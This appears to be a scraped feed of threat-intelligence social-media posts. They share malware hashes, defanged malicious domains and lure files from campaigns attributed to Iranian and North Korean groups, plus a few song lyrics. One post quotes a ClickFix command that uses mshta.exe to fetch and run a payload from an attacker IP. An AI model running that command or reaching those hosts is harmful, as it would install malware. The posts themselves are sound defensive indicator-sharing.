If you are hiring full remote, you must read this. DPRK IT workers is a much bigger problem than you think, those are today's spies that infiltrate multiple organizations simultaneously without the risk of being caught. any.run/cybersecurit...

1/2 ShadyPanda extension samples: e9975e39b87a0369dba21dcc7a4dcd56 b4a828b6ea8f0faaf9a2cdbc5b7a8241 5c56346e09de3aef10d8df6b292df9b3 491518101c265a7a79040ea148bc7ae7 6619beef592118fa90dc67b103eb6d58 58a6c9a2125858e828191e51d9f30e4f

#ESETresearch discovered a new #MuddyWater campaign targeting critical infrastructure in 🇮🇱 Israel and 🇪🇬 Egypt, using a new backdoor – MuddyViper – and a variety of post-compromise tools www.welivesecurity.com/en/eset-rese... 1/7

govextra.gov.il/national-dig... credit where credit is due, part 2

1/4 O_o help.pdf 02e3a2cc825b7ac3e1bad50d4088a74f 2d49a02c6e77d7ebcff87e62ab14d826f4281cba e422c2f25fbb4951f069c6ba24e9b917e95edb9019c10d34de4309f480c342df PDF in Hebrew contains a link to a password protected RAR archive hosted in @dropbox.com

1/5 IRGC + MOIS Very interesting analysis from @proofpoint.com @saffronsec.bsky.social www.proofpoint.com/us/blog/thre...

1/4 Hacktivism demystified. Leak: github.com/KittenBuster...

1/5 🇺🇦 Ongoing campaign targeting Ukrainians: EML->PDF->URL->ZIP->JS->NetSupport RAT Email 55ffcf6f4df8ab3f11a405794aa5f4d8

www.youtube.com/watch?v=mSJr... In the labyrinth of circuits and wires An electronic maze where the signal fires Neon pathways gleam with cold and light In the realm of data, we take our flight

1/4 PDQ which downloads ScreenConnect, the "one weird" RMM trick combo move threat actors don't want you to find out...

github.com/KittenBuster... It's a Kitten, but it doesn't looking charming to me, completely different TTPs

1/2 web14[.]info #OilRig #APT34

1/3 UNC4444 Watering Hole vanzen.co[.]il compromised to display an overlay pop-up for 60% discount when registering to the site.

1/8 Sales Contract.pdf 9af100c85c1a58702dfb016c4cb95840 867d16c7150ea010ecbea787bd9939ea4fe93769 688a2ccc09e30bad2d235ce3895afecbbf9b5c5950c8ef2cf3eaba57f6445bb2

New year, new mix. www.youtube.com/watch?v=7CyB...

labs.watchtowr.com/is-this-bad-... 😍glFTPd 😍

Baby, your eyes are reflecting the years of many blows I'm the game they play every day But you already know Bruises fade, but scars will form In this world, there is no shelter from the storm www.youtube.com/watch?v=bAR5...

Mood

Your cyber threat intel is part of the North Korean strategy: DPRK operators are abusing CTI platforms to see if they’ve been seen—and moving faster because of it. 👀

1/7 🎯EDU 🎯 drive.google[.]com/file/d/1KgP4IsEYVV78g8Ofo9GCwmp1ng3kiNlF/view?usp=drive_link -> Updated 2025 Compensation for NCSU Faculty and Staff.pdf 9db4cccb4745a533ac4c41f8aac2e18bcf7e8198 7158fbc2a796b0c4afe7a2dd63c5c3b76df70ced1c7cd232c570f135b94a9e88 @ncsulibraries.bsky.social

1/4 A.ExE / main.txt 213c7af6fbbe05f9e4f4ed6ee8533a87 6bb092b33f86c0ef2e9d6d0ccb0d1a6f478d3725 f6db77be038980e9dbbf9f11e0f7ae7d2d4d3f1a53199958f1f55137dde5efd3 C:/Users/admin/Desktop/quic-reverse-http-tunnel/cmd/client/main.go GO tunneler using the QUIC protocol linked to UNC2428

I usually try to post here and mirror to X, but this time I am doing the opposite due to all the mentions I can't do here, so click if you want to read the whole thread.

1/10 👀👀👀 Open directory containing tools: files[.]qaubctgg[.]workers[.]dev

Another day, another clickfix secure-check-1.pages[.]dev mshta.exe hxxp://178.17.58[.]0x31/trip.pdf 178.17.58.0x31 = 178.17.58.49 app.any.run/tasks/eb4538...

You can watch the video here with English subtitles: blog.narimangharib.com/posts/2025%2...

1/4 👀🇦🇺 Refund Statement.pdf c107dcb9ab557ff179c9b9219feee725 b5823a3f8f20cdf4ff006bd7cabc9ff711b6d651 eb5cfca67c4684d2f7eb2fc8fa532465b9cc5bfde006836353ab9b90c4b35f45 "refund" at govistatement[.]online

1/7 🇮🇳 🇰🇭 Unknown activity cluster targeting India, but related files seen uploaded from Cambodia. Multiple domains impersonating the Ministry of Corporate Affairs (MCA), unique payloads for Android and Windows.

bamdcamp.bandcamp.com/track/dont-l... that's not a typo squat attack🤣

1/8 There is an active network of fake X accounts promoting crypto scams 🤑. But instead of simply scamming you out of money directly, they put fake websites that mimic trash meme coins that contain a FakeCaptcha with ClickFix:

1/5 👀👀👀 2 suspicious RAR password protected samples from Cyprus: ΕΠΕΙΓΟΝΤΩΣ.pdf.rar be71ca996011e34fea985a0cf674657e ΕΠΕΙΓΟΝΤΩΣ.pdf.bat 755dd7144d75c8fc7447cf1343ed5258 6776578e522b15b1253e99e33376408d60f82fdd 292903ee4c41e1bec8299f2f8dfaa831aa94a5dc93aab2685f59f4f128950fc5

www.sentinelone.com/blog/sharepo... go patch

👀👀👀 ExcelWorkbook1.vsto cae74ea5624623b3fbb388c83824f215a8934957a71a2fd4b5091b3c0c3ef350 malicious vsto uploaded from Azerbaijan seems to be related to same TA as this old sample 888bf0858a17f3e0e1b6e65b1727e7b495c15b5bfab0fbd62173b8ee12e22016 ref: www.deepinstinct.com/blog/no-macr...

Ceasefire does not mean cease cyber: Due to DNS hijacking several Israeli websites displayed a video from Pro-Iranian cyber group.

More bad #Apple #malware from our "friends" from the #DPRK (again!). 🇰🇵 Similar to the one seen by Huntress, but uses some different Nim payloads and trickery to write persistence on reboot / kill. Heads up #macOS detection engineers! 👇 @syrion89.bsky.social www.sentinelone.com/labs/macos-n...

1/x New wiper, who dis? www.gov.il/he/pages/ale... Initial vector unknown, according to INCD it is a phishing message with a link to mega.nz

mdi.am/wp-content/u... ref: k3yp0d.blogspot.com/2024/10/some...

פרוטוקולים וכללים חדשים.doc 07824f0ee982774b25a3beeadc727734 645d2f225e7a25a76dd579bdb0b32a8cb912e91d 40dead1e1d83107698ff96bce9ea52236803b15b63fb0002e0b55af71a9b5e05 MuddyWater/UNC3313/UNC5667 is back to maldocs???

stage2.exe fbd98c65c1c07e89beda3e3ad3660f81 e6725931baae0579a04549658f6a1d0bc0dfc2f9 ec1fb667c1e3fb00754d910b68f0907ad7897e77deb78cf296b0946194f5e35a #wiper #albania #iran

🚨 Phishing Re-Engineered for the Modern Internet—At-Scale: In research from @sentinellabs.bsky.social and Validin, we unveil at @pivotcon.bsky.social our report into a global crypto phishing operation abusing SEO, gen AI, and free-tier web services to drain digital wallets at an industrial scale.

labs.watchtowr.com/sysowned-you... It is that time of the year again, when Israeli companies will get popped thanks to SysAid.

🧠 New from @sentinellabs.bsky.social ➡️ Cybersecurity vendors are actively defending a rarely-discussed but crucially important attack surface: themselves. By @hegel.bsky.social, @milenkowski.bsky.social, and Jim Walter